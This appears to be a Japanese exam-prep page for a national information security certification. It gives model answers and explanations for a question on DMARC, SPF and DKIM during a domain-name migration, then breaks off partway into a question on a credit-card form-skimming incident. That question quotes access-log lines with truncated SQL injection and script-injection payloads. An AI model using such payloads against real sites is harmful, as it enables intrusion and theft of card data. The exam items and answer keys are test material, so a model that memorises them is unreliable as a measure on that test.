A 社のネットワーク構成図。W サービスはインターネットに接続されている。インターネットには、キャッシュ DNS サービスと S サービスも接続されている。インターネットは A 社内のファイアウォールに接続され、ファイアウォールには DMZ(メールサーバ)、PC-LAN、サーバ LAN(レイヤー2スイッチに複数の業務サーバが接続される)がそれぞれ接続されている。注記 PC-LAN 内の PC の記載は省略している。
図1 A 社のネットワーク(抜粋)
構成要素と機能の2列の表。メールサーバ:・S 社が提供するキャッシュ DNS サービスを用いて,DNS 問合せを行う。・インターネットとの間で,SMTP を用いてメールを転送する。・PC-LAN 及び業務サーバから SMTP を用いて送信されるメールを受信する。・宛先メールアドレスのドメイン名が [ a ] であるメールをメールボックスに格納する。・第三者中継防止のためのルールを用いて,第三者中継を防止する。第三者中継防止のためのルールを表2に示す。・メールボックス内のメールを,PC-LAN 内の PC が POP3 を用いて受信できるようにする。
表1 構成要素の機能(抜粋)
項番,転送元,宛先メールアドレスのドメイン名,転送処理の4列の表。項番1:転送元 インターネット,宛先メールアドレスのドメイン名 [ a ],転送処理 許可。項番2:転送元 PC-LAN,宛先メールアドレスのドメイン名 [ b ],転送処理 許可。項番3:転送元 業務サーバ,宛先メールアドレスのドメイン名 A 社ドメイン名,転送処理 許可。項番4:転送元 全て,宛先メールアドレスのドメイン名 全て,転送処理 拒否。注記 項番が小さいルールから順に,最初に一致したルールが適用される。
表2 第三者中継防止のためのルール

〔ドメイン名の変更についての検討〕

A 社は,3 か月後に Z 社への社名変更を予定している。情報システム部長は,メールの詐称対策の導入及び社名変更に合わせたドメイン名変更を検討するように情報システム部の N 主任に指示した。N 主任は情報システム部の E さんと,次のとおり検討した。

N 主任と E さんは,Z 社が送信するメールの詐称対策(以下,送信対応という)と,Z 社が受信するメールの詐称対策(以下,受信対応という)について方針をそれぞれ表3と表4のとおり作成した。

項番と対応方針概要の2列の表。1:送信するメールのエンベロープ From 及びヘッダー From のドメイン名を Z 社ドメイン名とする。2:Z 社ドメイン名のメールを受信した側で SPF による認証及び DKIM による認証に失敗した場合のアクションを DMARC ポリシーとして定義する。3:DMARC ポリシーレコード(以下,DMARC レコードという),SPF レコード及び DKIM キーレコード(以下,DKIM レコードという)を S サービスに登録する。4:送信するメールには,DKIM 署名を付与する。5:DMARC レポートを分析する。6:顧客に,Z 社は送信するメールについて,SPF,DKIM 及び DMARC に対応済みであることを周知する。
表3 送信対応方針
項番と対応方針概要の2列の表。1:受信するメールの宛先メールアドレスのドメイン名は,Z 社ドメイン名とする。2:顧客に,送信するメールについて SPF,DKIM 及び DMARC に対応するように依頼する。3:SPF による認証及び DKIM による認証を行いそのいずれかが成功した場合,DMARC の認証が成功したものと判断し,受信する。4:送信元の DMARC ポリシーに基づき,メールの受信,隔離又は拒否を行う。
表4 受信対応方針

N 主任と E さんは,これまでの結果を,情報システム部長に報告し,了承を得た。

〔メールサービスの機能の検討〕

N 主任と E さんは,メールサービスの機能について検討し,メールサービス事業者である U 社のメールサービス(以下,U サービスという)に移行することにした。U サービスの機能の概要を表5に示す。

機能と概要の2列の表。メール転送:・インターネットとの間は,SMTP を TLS で暗号化する [ c ] を使用してメールを転送することができる。Web メール:・Web ブラウザを用いてメールを送受信する。U サービス管理 Web:・利用者アカウントの登録や削除を行う。・送信したメールについて DMARC レポートの分析結果を参照することができる。
表5 U サービスの機能の概要(抜粋)

〔Z-Web サイト及び U サービスへの移行手順の検討〕

E さんは,Z-Web サイト及び U サービスへの移行手順を検討した。検討結果を,図2及び図3にそれぞれ示す。

枠で囲んだ手順。Web-Step1:A-Web サイトのコンテンツを全て,Z-Web サイトに同一構成で配置する。Z-Web サイトに配置したコンテンツ中の A 社ドメイン名を Z 社ドメイン名に書き換える。Web-Step2:次を 1 年間,実施する。・A-Web サイトへのアクセスを,Z-Web サイトのトップページにリダイレクトする。Web-Step3:A-Web サイトを停止する。A-Web サイト用の DNS レコードは削除する。
図2 Z-Web サイトへの移行手順
枠で囲んだ手順。Mail-Step1:試行期間として次を 1 か月間,実施する。・総務部及び情報システム部のメンバーだけが,Z 社ドメイン名のメールアドレスを使用する。・送信対応では,DMARC ポリシーを,特定のアクションを要求しないこととし,メールを受信してもらう。・受信対応では,DMARC の認証結果にかかわらず受信する。Mail-Step2:図1のメールサーバの利用をやめ,次を 3 か月間,実施する。・Z 社全体が,U サービスを用いて Z 社ドメイン名のメールアドレスを使用する。・Z 社ドメイン名でのメールの利用を顧客に文書で周知するとともに,Z-Web サイトで周知する。・A 社ドメイン名宛てのメールを U サービスで受信する。Mail-Step3:送信対応の DMARC ポリシーを隔離に変更し,その 6 か月後,拒否に変更する。Mail-Step4:A 社ドメイン名でのメールの受信を停止する。メールサーバ用の DNS レコードは削除する。Mail-Step5:問題がないと確認できたら,受信対応で DMARC の処理を行う。
図3 U サービスへの移行手順

E さんは,図2及び図3を N 主任に説明し,了承を得た。

〔送信対応の設定内容についての検討〕

E さんは,送信対応に用いる SPF レコードを,U サービスから提供された情報に基づいて作成した。

次に,E さんは,送信対応に用いる DKIM レコードについて検討した。Z 社が U サービスを利用した場合,送信されるメールに付与される DKIM-Signature ヘッダーのタグの内容を表6に示す。

タグと内容の2列の表。v:1。a:rsa-sha256。d:z-sha.co.jp。h:From:To:Subject:Date:Message-ID:MIME-Version。s:z2024。
表6 タグの内容(抜粋)

表6から,①DKIM レコードの名称として使用する FQDN が決まる。E さんは,U サービスから提供された情報に基づき DKIM レコードを作成した。

最後に,E さんは,Mail-Step1 の送信対応では DMARC レコードを図4のとおりとすることにした。

枠で囲んだ DMARC レコード。v=DMARC1; p=[ d ]; rua=mailto:rua-report@z-sha.co.jp
図4 DMARC レコード

E さんは,設定内容をまとめて N 主任に報告し,了承を得た。

〔A 社ドメイン名の契約についての検討〕

N 主任と E さんは,A 社ドメイン名使用の契約を継続するか解約するかについて検討した。解約した場合,第三者が A 社ドメイン名を取得することができる。N 主任と E さんは,第三者が A 社ドメイン名を取得した場合の A 社ドメイン名の悪用例を検討し,表7のとおりまとめた。

項目と悪用の例の2列の表。Web の悪用:第三者が,A 社ドメイン名を用いて,現在の A-Web サイトと見た目が同じ Web サイトを立ち上げるという悪用が考えられる。さらに,第三者が,コンテンツを細工して Web サイトの見た目を変えずに<u>②顧客に影響を及ぼす攻撃</u>をすることが考えられる。(この内容に下線②が付いている)。メールの送信:第三者が,メールサーバを立ち上げ,A 社ドメイン名のメールアドレスを送信元メールアドレスとしてメールを送信するという悪用が考えられる。メールの受信:従業員が業務で用いる社外サービスがあり,メールでの連絡先として,A 社ドメイン名のメールアドレスを登録していたとする。もし連絡先の変更を忘れてしまうと,<u>③第三者が,社外サービスから A 社ドメイン名のメールアドレスへのメールを受信し,そのメールを使って続きの攻撃を行う</u>という悪用が考えられる。(この内容に下線③が付いている)。
表7 A 社ドメイン名の悪用例

N 主任と E さんは,A 社ドメイン名使用の契約を継続することを情報システム部長に報告し,承認を得た。

また,A 社ドメイン名については,Mail-Step4 の後で次のとおり,設定することにした。

そのために,A 社ドメイン名について,SPF レコードを図5のように設定する。DKIM レコードは設定しない。

枠で囲んだ SPF レコード。v=spf1 [ e ]
図5 SPF レコード

〔U サービスへの移行の見直し〕

Mail-Step1 において,DMARC レポートの分析結果を参照した結果,送信対応には問題がないことが確認できた。

Mail-Step2 の開始 1 週間後,情報システム部の E さんに営業部の H さんから,図6に示すメールの一斉配信をしても問題ないか相談があった。

枠で囲んだ説明。1. 定期的に,Z 社の公式情報の周知のためのメールを一斉配信する。2. 宛先には,社内と社外のメールアドレスが含まれている。3. 一斉配信には,T 社のサービス(以下,T サービスという)を利用する計画であり,T サービスの仕様は次のとおりである。・配信方法:- 宛先メールアドレスは,サービス契約者が登録できる。- 宛先メールアドレスごとに個別に送信する。・メールのヘッダーの設定:- From は,サービス契約者が所属する組織が保有するドメイン名を用いたメールアドレスだけを設定できる。- To は,宛先のメールアドレスから一つずつ,T サービスが設定する。- Subject は,一斉配信の都度,サービス契約者が設定する。- 他のヘッダーは,T サービスが設定する。
図6 メールの一斉配信の説明

E さんから相談を受けた N 主任は,図6の一斉配信メールについて,次のとおり E さんに説明した。

E さんは,見直し案を作成し,N 主任の了承を得てから,H さんに問題ないことを説明した。

Mail-Step2 の開始 2 週間後,情報システム部に技術部の J さんから,図7に示すメーリングリストを新たに利用することが可能か相談があった。

枠で囲んだ説明。1. 使用するメーリングリストは一つである。2. メーリングリストの管理者は,Z 社従業員である。3. 製品に関する情報交換のために,メーリングリストを使用する。4. メーリングリストの配信先となる宛先には,社内及び社外のメールアドレスを登録する(以下,登録されたメールアドレスを登録メンバーという)。5. 登録メンバーから,メーリングリスト宛てにメールを送信できる。6. メールサービス事業者である Y 社のサービス(以下,Y サービスという)を利用する計画であり,Y サービスの仕様は次のとおりである。(1) メーリングリストのメールアドレスは,サービス契約者ごとに割り当てられた Y サービスのメールアドレスである。ドメイン名は Y 社のドメイン名である。(2) Y サービスの管理画面で設定できる項目は(3)~(6)であり,配信されるメールに反映される。(3) エンベロープ From の設定:・メーリングリストの管理者のメールアドレスを設定する。(4) ヘッダー From の設定:・次のいずれかを選択する。ヘッダー From 設定 1:メーリングリスト宛てに送信されたメールのヘッダー From を使用する。ヘッダー From 設定 2:メーリングリストのメールアドレスを使用する。(5) Subject の設定:・次のいずれかを選択する。Subject 設定 1:メーリングリスト宛てに送信されたメールの Subject を使用する。Subject 設定 2:メーリングリスト宛てに送信されたメールの Subject にメールの通番情報を付加する。(6) Reply-To の設定:・メーリングリストのメールアドレスを設定する。(7) ヘッダー From,Subject 及び Reply-To 以外のヘッダー:・メーリングリスト宛てに送信したメールのヘッダーを引き継ぐ。(8) Authenticated Received Chain 1)(ARC)について:・ARC には,対応していない。注 1) メールが転送される場合でも,メールの認証結果を確認できるようにする仕組みとして,RFC 8617 に定義されている。
図7 メーリングリストの説明

N 主任は,E さんに図8に示すとおり説明した。

枠で囲んだ説明。・Mail-Step3 以降に Z 社の従業員が送信したメールについて:- ヘッダー From 設定 1 と Subject 設定 1 の組合せでは,不達の問題は起きない。- ヘッダー From 設定 1 と Subject 設定 2 の組合せでは,<u>⑤SPF による認証及び DKIM による認証の両方に失敗することによって不達の問題が発生することがある。</u>(この文に下線⑤が付いている)- ヘッダー From 設定 2 については,Z 社の従業員が送信したメールであるかどうかの判定ができないので,用いるべきではない。・Mail-Step3 以降に Z 社の従業員以外が送信したメールについて:(省略)
図8 N 主任の説明

N 主任と E さんは,J さんには,ヘッダー From 設定 1 と Subject 設定 1 の組合せを用いるよう説明した。

その後,Z-Web サイト及び U サービスへの移行は,順調に進み,完了した。

出題趣旨(IPA)

電子メール(以下,メールという)の送信者メールアドレスを詐称したフィッシングが多くなっている。送信者メールアドレスの正当性を判定する対策としてDMARCの導入が進んでいる。本問では,メールのドメイン名の変更を機とした新たなメールサービスの導入を題材として,メールサービスの設定及びDMARCの導入を問う。

採点講評(問全体・IPA)

問2では,電子メール(以下,メールという)のドメイン名の変更を機にした新たなメールサービスの導入を題材に,メールサービスの設定,変更前のドメイン名の契約維持の要否,及びDMARCの導入について出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

表1中及び表2中の a に入れる適切な字句を答えよ。

〔a〕解答例

  • A社ドメイン名
解説

本文の根拠

表1 メールサーバ

宛先メールアドレスのドメイン名が a であるメールをメールボックスに格納する。

表2

項番1:転送元 インターネット,宛先メールアドレスのドメイン名 a,転送処理 許可。

〔情報システムの現状〕

A 社の Web サイト(以下,A-Web サイトという)及びメールアドレスのドメイン名として利用している。

メールサーバはインターネットからメールを受け取り,宛先のドメイン名が自社のものであるメールだけをメールボックスに格納する。A 社のメールアドレスのドメイン名は A 社ドメイン名(a-sha.co.jp)なので,表1の a には“A 社ドメイン名”が入る。

表2の項番1 は,インターネットからメールサーバに来たメールの宛先が a のときだけ転送(格納)を許可するルールである。表1と表2の a は同じ字句で,どちらも A 社ドメイン名と読める。インターネットからのメールで受け取ってよいのは A 社宛てだけで,A 社宛てでないものは項番4で拒否される(第三者中継の防止)。

間違えやすい点。a は“全て”ではない。“全て”にすると,インターネット上の誰からでも,どこ宛てのメールでも中継してしまう。

設問1(2) 解答欄1つ

表2中の b に入れる適切な字句を答えよ。

〔b〕解答例

  • 全て
解説

本文の根拠

表1 メールサーバ

PC-LAN 及び業務サーバから SMTP を用いて送信されるメールを受信する。

表1 メールサーバ

インターネットとの間で,SMTP を用いてメールを転送する。

表2

項番2:転送元 PC-LAN,宛先メールアドレスのドメイン名 b,転送処理 許可。

表2

項番3:転送元 業務サーバ,宛先メールアドレスのドメイン名 A 社ドメイン名,転送処理 許可。

表2

注記 項番が小さいルールから順に,最初に一致したルールが適用される。

第三者中継とは,メールサーバが部外者のメールを他のドメイン宛てに中継してしまうことである。表2は,転送元ごとに宛先を絞って防いでいる。インターネットからは A 社宛てだけ(項番1),業務サーバからも A 社宛てだけ(項番3)を許し,それ以外の項番4は全て拒否する。

PC-LAN の PC は従業員が業務で使い,顧客との見積書や注文書のやり取りなど,社外のメールアドレスにも送る(本文の冒頭)。表1のとおりメールサーバは PC-LAN から SMTP で受信し,社外宛てはインターネットへ転送する。社外宛てを許すには項番2の宛先を“全て”にする必要がある。項番2が項番4より小さい番号で先に適用されるので,“全て”としても PC-LAN 以外からの中継は項番4で拒否される。

間違えやすい点。b を“A 社ドメイン名”にすると業務サーバと同じ制限になり,従業員が顧客にメールを送れなくなる。

設問2 解答欄1つ

表5中の c に入れる適切な字句を英字 10 字以内で答えよ。

〔c〕解答例

  • SMTPS
解説

本文の根拠

表5 U サービス メール転送

インターネットとの間は,SMTP を TLS で暗号化する c を使用してメールを転送することができる。

表1 メールサーバ

インターネットとの間で,SMTP を用いてメールを転送する。

表5の c は“SMTP を TLS で暗号化する”方式で,英字 10 字以内で答える。SMTP を TLS で包んでサーバ間の通信を暗号化する方式を一般に SMTPS と呼ぶ。接続の最初から TLS を使う方式のほか,平文で始めて STARTTLS で TLS に切り替える方式もあるが,どちらもメール転送の通信経路を暗号化するものである。

したがって c は SMTPS である。SMTP のやり取り全体(宛先の指定や本文の転送)が暗号化される。

間違えやすい点。講評にあるとおり“S/MIME”と答える誤りが散見された。S/MIME は MIME の仕組みを使ったメール本文及び添付ファイルの暗号化(署名)の方式であり,SMTP の通信を暗号化するものではない。字数は 6 字で,10 字以内に収まる。

採点講評(IPA)

設問2は,正答率が平均的であった。“S/MIME”といった解答が散見された。“S/MIME”は,MIMEの仕組みを使ったメール本文及び添付ファイルの暗号化の方式であって,SMTPを暗号化する方式ではない。メールに関連する暗号技術及び通信プロトコルについて,よく理解してほしい。

設問3(1)

本文中の下線①の FQDN を解答群の中から選び,記号で答えよ。解答群:ア(rsa-sha256._dkim.z-sha.co.jp),イ(rsa-sha256._domainkey.z-sha.co.jp),ウ(z2024._dkim.z-sha.co.jp),エ(z2024._domainkey.z-sha.co.jp),オ(z2024.z-sha.co.jp)

解答例

  • エ
解説

本文の根拠

〔送信対応の設定内容についての検討〕

表6から,①DKIM レコードの名称として使用する FQDN が決まる。

表6

d:z-sha.co.jp。h:From:To:Subject:Date:Message-ID:MIME-Version。s:z2024。

表6

a:rsa-sha256。

DKIM では,署名を検証する側が,署名ヘッダー(DKIM-Signature)の s タグ(セレクタ)と d タグ(署名ドメイン)から“s タグの値._domainkey.d タグの値”という名前の TXT レコードを引いて,公開鍵を取得する(RFC 6376)。表6では s が z2024,d が z-sha.co.jp なので,DKIM レコードの FQDN は z2024._domainkey.z-sha.co.jp である。選択肢ではエになる。

ほかの選択肢は,どこかを取り違えている。ア・イの先頭 rsa-sha256 は a タグ(署名アルゴリズム)の値で,名前には使わない。ア・ウの“_dkim”は,DKIM の規定にない文字列である(固定の文字列は“_domainkey”)。オは“_domainkey”が無く,DKIM レコードの名前の形になっていない。

この設問は講評でも正答率が低かったとされ,“DKIM の仕組みと表6のタグの内容を用いれば導ける”と指摘されている。タグの意味(d:ドメイン,s:セレクタ,a:アルゴリズム,h:署名対象ヘッダー)を覚えておくと迷わない。

採点講評(IPA)

設問3(1)は,正答率が低かった。DKIMの仕組み及び表6のタグの内容を用いれば,正答を導くことができる。DKIMの仕組みについて,よく理解してほしい。

設問3(2) 解答欄1つ

図4中の d に入れる適切な字句を解答群の中から選び,記号で答えよ。解答群:ア(accept),イ(none),ウ(quarantine),エ(receive),オ(reject)

〔d〕解答例

  • イ
解説

本文の根拠

図3 Mail-Step1

送信対応では,DMARC ポリシーを,特定のアクションを要求しないこととし,メールを受信してもらう。

図4

v=DMARC1; p=d; rua=mailto:[email protected]

表3 項番2

Z 社ドメイン名のメールを受信した側で SPF による認証及び DKIM による認証に失敗した場合のアクションを DMARC ポリシーとして定義する。

DMARC レコードの p タグは,SPF・DKIM の認証に失敗したメールを受信側にどう扱ってほしいかを示すポリシーで,値は none(何も要求しない),quarantine(隔離),reject(拒否)の三つである(RFC 7489)。Mail-Step1 は試行期間なので,“特定のアクションを要求しないこととし,メールを受信してもらう”とある。これは none に当たり,rua で集計レポートだけを受け取り,送信対応に問題がないかを確かめる段階である。

図3の Mail-Step3 で“隔離(quarantine)に変更し,その 6 か月後,拒否(reject)に変更する”と,ポリシーを段階的に強めていくので,Mail-Step1 の d は最も弱い none になる。

間違えやすい点。accept と receive は p タグの値として規定されていない。“メールを受信してもらう”に引きずられて accept・receive を選ばないこと。

設問4(1)

表7中の下線②について,攻撃の方法を具体的に答えよ。

解答例

  • ソフトウェア修正プログラムに見せかけたマルウェアをダウンロードさせる。
解説

本文の根拠

表7 Web の悪用

コンテンツを細工して Web サイトの見た目を変えずに②顧客に影響を及ぼす攻撃をすることが考えられる。

本文 冒頭

顧客向けに自社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログラムを提供している。

A-Web サイトは顧客向けに,自社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログラムを提供している。第三者が A 社ドメイン名を取得して見た目が同じサイトを立ち上げ,“コンテンツを細工”できるなら,顧客がダウンロードする修正プログラムの配布ファイルをマルウェアに差し替えることができる。

顧客は A 社の正規のドメイン名のサイトと信じて取得するので,不審に思わず実行しやすい。したがって,ソフトウェア修正プログラムに見せかけたマルウェアをダウンロードさせる,と答える。

書き方の注意。“顧客に影響を及ぼす”攻撃の方法を問うているので,“偽サイトを立ち上げる”だけでは表7の前半の繰り返しになる。何を細工して何を起こすか(修正プログラム→マルウェアのダウンロード)まで書く。

設問4(2) 解答欄2つ

表7中の下線③について,受信するメールの内容及び続きの攻撃の例を具体的に答えよ。

〔メール〕解答例

  • 社外サービスのパスワード再設定画面のURLが書かれたメール

〔攻撃〕解答例

  • 任意のパスワードを設定し,アカウントを乗っ取る。
解説

本文の根拠

表7 メールの受信

従業員が業務で用いる社外サービスがあり,メールでの連絡先として,A 社ドメイン名のメールアドレスを登録していたとする。

表7 メールの受信

③第三者が,社外サービスから A 社ドメイン名のメールアドレスへのメールを受信し,そのメールを使って続きの攻撃を行うという悪用が考えられる。

契約を解約して第三者が A 社ドメイン名を取得すると,その第三者はメールサーバを立ち上げ,A 社ドメイン名宛てのメールを受け取れる。従業員が業務で使う社外サービスに,連絡先として A 社ドメイン名のメールアドレスが登録されたままだと,そのサービスからのメールは第三者に届く。

受信するメールの内容として挙がるのは,社外サービスのパスワード再設定画面の URL が書かれたメールである。第三者はその URL から任意のパスワードを設定し,アカウントを乗っ取る,というのが続きの攻撃の例になる。ほかにも,ID の通知やワンタイムコードが書かれたメールが想定されるが,解答例の形に合わせれば“受信するメールの内容”と“続きの攻撃”の対になっている。

書き方の注意。答えは“メール”と“攻撃”の二つの欄に分かれる。メールの種類だけ,または攻撃だけでは足りない。

設問4(3) 解答欄1つ

図5中の e に入れる適切な字句を解答群の中から選び,記号で答えよ。解答群:ア(-all),イ(?all),ウ(block),エ(deny),オ(refuse)

〔e〕解答例

  • ア
解説

本文の根拠

〔A 社ドメイン名の契約についての検討〕

DMARC の受信対応を行った組織が A 社ドメイン名からのメールを拒否できるようにする。

〔A 社ドメイン名の契約についての検討〕

DKIM レコードは設定しない。

表4 項番3

SPF による認証及び DKIM による認証を行いそのいずれかが成功した場合,DMARC の認証が成功したものと判断し,受信する。

A 社ドメイン名はこの後メールを送らないので,A 社ドメイン名を名乗るメールは全て偽物である。受信側は表4の項番3 のとおり,SPF と DKIM のどちらかが成功すれば DMARC の認証成功とし,どちらも失敗すれば,送信元の DMARC ポリシー(項番4)に従って隔離や拒否をする。DKIM レコードは設定しないので DKIM は必ず失敗するから,SPF も必ず失敗するようにすればよい。

SPF レコードの“v=spf1”に続けて“-all”と書くと,どの送信元 IP アドレスも許可しない(-all は fail)という意味になる。これで,A 社ドメイン名からのメールは SPF にも DKIM にも失敗し,DMARC で拒否できる。ア(-all)が正しい。

間違えやすい点。イの“?all”は neutral(判定しない)で,何も許可しないことにならない。ウの block,エの deny,オの refuse は SPF の記法にない。

設問5(1)

本文中の下線④について,見直しの内容を具体的に答えよ。

解答例

  • SPFレコードに,Tサービスのメール送信元IPアドレスを追加する。
解説

本文の根拠

表3 項番3

DMARC ポリシーレコード(以下,DMARC レコードという),SPF レコード及び DKIM キーレコード(以下,DKIM レコードという)を S サービスに登録する。

図6

一斉配信には,T 社のサービス(以下,T サービスという)を利用する計画であり

図6

他のヘッダーは,T サービスが設定する。

図3 Mail-Step3

Mail-Step3:送信対応の DMARC ポリシーを隔離に変更し,その 6 か月後,拒否に変更する。

Mail-Step3 以降は,Z 社ドメイン名のメールが SPF・DKIM に失敗すると隔離・拒否されるので,メールが届かないことが起こりうる。図6の一斉配信は T サービスを使って送るが,送信元の IP アドレスは T サービスのものである。ところが Z 社が S サービスに登録した SPF レコードは,表3の項番3 のとおり U サービスから提供された情報で作ったもので,T サービスの送信元 IP アドレスは含まれていない。DKIM 署名を T サービスが付けるとは図6から読み取れないので,頼れるのは SPF であり,T サービスからのメールは SPF の認証に失敗して届かない場合がある。

そこで,表3の項番3 で S サービスに登録した SPF レコードに,T サービスのメール送信元 IP アドレスを追加する。

書き方の注意。“表3の項番3 の登録内容”の見直しなので,登録先(SPF レコード)と追加するもの(T サービスのメール送信元 IP アドレス)の両方を書く。DMARC ポリシーを緩めるといった答えは,設問の趣旨(認証が通るようにする)と合わない。

設問5(2) 解答欄2つ

図8中の下線⑤について,SPF による認証に失敗する理由及び DKIM による認証に失敗する理由をそれぞれ,S サービスへの登録内容と Y サービスの仕様を含めて,具体的に答えよ。

〔SPF〕解答例

  • SPFレコードにYサービスの情報が登録されていないのに,メールがYサービスから送られる。

〔DKIM〕解答例

  • DKIMレコードのhタグにSubjectが含まれているのに,YサービスでメールのSubjectが変わる。
解説

本文の根拠

図7 6.(3)

(3) エンベロープ From の設定:・メーリングリストの管理者のメールアドレスを設定する。

図7 6.(5)

Subject 設定 2:メーリングリスト宛てに送信されたメールの Subject にメールの通番情報を付加する。

図7 6.(7)

(7) ヘッダー From,Subject 及び Reply-To 以外のヘッダー:・メーリングリスト宛てに送信したメールのヘッダーを引き継ぐ。

表6

h:From:To:Subject:Date:Message-ID:MIME-Version。

図8

ヘッダー From 設定 1 と Subject 設定 2 の組合せでは,⑤SPF による認証及び DKIM による認証の両方に失敗することによって不達の問題が発生することがある。

SPF は,メールを送ってきたサーバの IP アドレスが,エンベロープ From のドメインの SPF レコードに登録されているかを調べる。メーリングリストでは Y サービスのサーバがメールを送り直し,エンベロープ From には管理者のメールアドレス(Z 社ドメイン)を設定する(図7 6.(3))。Z 社ドメインの SPF レコードには Y サービスの情報が登録されていないので,Y サービスから送られると SPF に失敗する。Subject は SPF の判定対象ではなく,Subject の設定とは関係しない。

DKIM は,署名したヘッダーの値が変わっていないことを検証する。表6のとおり h タグには Subject が含まれる。Subject 設定 2 では Y サービスが Subject に通番情報を付加するので,署名時の Subject と一致せず,DKIM に失敗する。ヘッダー From 設定 1 では From が元の送信者のままなので,DMARC の判定ドメインは Z 社ドメインのまま,SPF・DKIM の両方に失敗し,ポリシーに従って不達になりうる。

書き方の注意。SPF 側は“SPF レコードに Y サービスの情報が無いのに Y サービスから送られる”,DKIM 側は“h タグに含まれる Subject が Y サービスで変わる”と,それぞれ理由を一文で書く。SPF の理由に Subject の変更を書いても外れる(講評参照)。

採点講評(IPA)

設問5(2)SPFは,正答率がやや低かった。メールのSubjectに通番情報を付加するといった解答が散見された。SPFでは,Subjectを判定対象としていない。SPFの仕組みについて,よく理解してほしい。

設問5(2)DKIMは,正答率が平均的であった。表6のhタグにおいて,Subjectを判定対象として含んでいる。メールのSubjectに通番情報を付加すると,DKIMによる認証が失敗する。DKIMの仕組みと,メーリングリストの設定を理解した上で,解答してほしい。

出典:令和6年度 秋期 情報処理安全確保支援士試験 午後 問2(表記を一部改変)

問3 クレジットカード情報の漏えい

クレジットカード情報の漏えいに関する次の記述を読んで,設問に答えよ。

J 社は,インテリアを扱う EC サイト(以下,J 社の EC サイトを J 社 EC サイトという)を運営する,従業員 200 名の会社である。

〔J 社 EC サイトの構成〕

J 社 EC サイトは,Web アプリケーションプログラム(以下,J 社 EC サイトの Web アプリケーションプログラムを Web アプリ P という),Web サーバ及び DB サーバで構成されている。J 社は Web アプリ P の開発及び保守,並びに Web サーバ及び DB サーバの構築,管理及び保守を V 社に委託している。Web アプリ P のアプリケーションログには,アクセス日時,画面名,アカウント名,アクセス元 IP アドレスなどが記録される。

J 社 EC サイトでの支払方法は,クレジットカード決済及び銀行振込に対応している。

クレジットカード決済は D 社の決済代行サービスを利用している。D 社の提供する決済用 ECMAScript プログラムを使用したトークン型決済を用いて,クレジットカード情報の非保持化を実現している。商品購入に関する画面の概要を表1に,画面遷移を図1に示す。

画面名と説明の2列の表。ショッピングカート:購入対象としてショッピングカートに登録された商品を表示する。ショッピングカートに登録した商品を購入する場合は,“購入”ボタンを押す。配送先・支払方法選択画面に遷移する。配送先・支払方法選択:配送先住所 1) と支払方法を選択する。配送先住所を選択し,クレジットカード決済と銀行振込のいずれかの支払方法を選択して,“次へ”ボタンを押す。支払手続画面に遷移する。支払手続:支払方法に応じて,表示される内容及び入力する内容が異なる。クレジットカード決済の場合は,クレジットカード情報の入力フォームが表示される。D 社の提供する決済用 ECMAScript プログラムによって,決済が行われる。銀行振込の場合は,振込先の口座情報が表示される。注文完了:ショッピングカート→配送先・支払方法選択→支払手続が完了した場合に表示される。この後に注文確認の電子メール 2) が商品を購入した利用者に送信される。注 1) 利用者情報としてあらかじめ配送先住所を登録しておく。配送先住所は複数登録できる。登録済みの配送先住所はプルダウンで選択できる。注 2) 利用者情報としてあらかじめ電子メールアドレスを登録しておく。
表1 商品購入に関する画面の概要(抜粋)
4つの画面の遷移図。/cart(ショッピングカート):ご注文一覧の表(No,商品名,単価(税込),数量。1 商品1 30,000円 1,2 商品2 7,500円 1,3 商品3 15,000円 1)と,小計 52,500円,配送料 0円,合計 52,500円,“戻る”“購入”ボタン。“購入”から /shopping へ遷移する。/shopping(配送先・支払方法選択):配送先のプルダウン,お支払方法(クレジットカード決済が選択済み,銀行振込),“戻る”“次へ”ボタン。“次へ”から /payment へ遷移する。/payment(支払手続):ご利用金額 52,500円,クレジットカード情報の入力(カード番号,有効期限(月/年),名義,セキュリティコード),“戻る”“注文”ボタン。“注文”から /confirm へ遷移する。/confirm(注文完了):“ご注文ありがとうございました。ご注文確認の電子メールをお送りしたのでご確認ください。”と“トップへ”ボタン。注記 1 /cart などは URL のパス名を示す。注記 2 /cart 以外へのアクセスは J 社 EC サイトへのログインが必要である。注記 3 /cart 以外は直接アクセスするとトップページにリダイレクトされる。
図1 商品購入に関する画面遷移

〔利用者からの問合せ〕

6 月 11 日から 12 日にかけて,複数の利用者から,クレジットカード情報を入力する画面が 2 回表示されるという問合せ,及び支払方法が勝手にクレジットカード決済になってしまうという問合せがあった。J 社 EC サイト担当者の G さんは,偽のクレジットカード情報入力フォーム(以下,偽フォームという)が表示された可能性があると考え,上司の R さんに報告した上で,Web サーバの 6 月 11 日のアクセスログに不審な点がないかどうかを確認した。Web サーバの 6 月 11 日のアクセスログのうち,不審と思われるアクセスを抽出したものを表2に示す。

行番号,メソッド,リクエスト URI,ステータスコードの4列の表。1 GET /products/list?page=4&category_id=1 200。2 GET /login?id=hoge&pw=' UNION select 1 FROM… 200。3 POST /mypage/userinfo 200。4 POST /mypage/change 200。5 GET /cart?add="><script>document.getElementById(… 200。6 GET /products/list?category=green's sofa 200。7 PUT /shopping 405。8 GET /cart 200。9 POST /payment 200。10 PUT /ec-j/layout/js/customize.js 204。注記 1 アクセス日時,User-Agent,リファラなどは省略している。注記 2 リクエスト URI 中の“…”は省略を表す。注記 3 リクエスト URI は,URL デコード済みである。
表2 Web サーバのアクセスログ

次は,アクセスログに関する R さんと G さんの会話である。

G さんは,6 月 13 日に V 社に問い合わせた。また,最新バージョンの Web アプリ P に対する脆弱性診断レポートを確認したところ,脆弱性の指摘はなかった。

〔偽フォーム表示の原因の調査と対策〕

6 月 14 日に V 社から連絡があり,PUT メソッドによるファイル更新は V 社によるものではなかったことが判明した。Web サーバに設置していた ECMAScript ファイルの一つ customize.js が攻撃者のファイル(以下,ファイル K という)に置き換えられていた。customize.js は,通常時は空のファイルであり,Web サイトのデザインを一時的に変更する際に利用するものである。①配送先・支払方法選択画面でファイル K が読み込まれており,HTML の一部が書き換えられていた。この書換えによって,②配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され,支払方法がクレジットカード決済に固定されていた。ファイル K を整形したものを図2に,配送先・支払方法選択画面の HTML ソースを図3に示す。

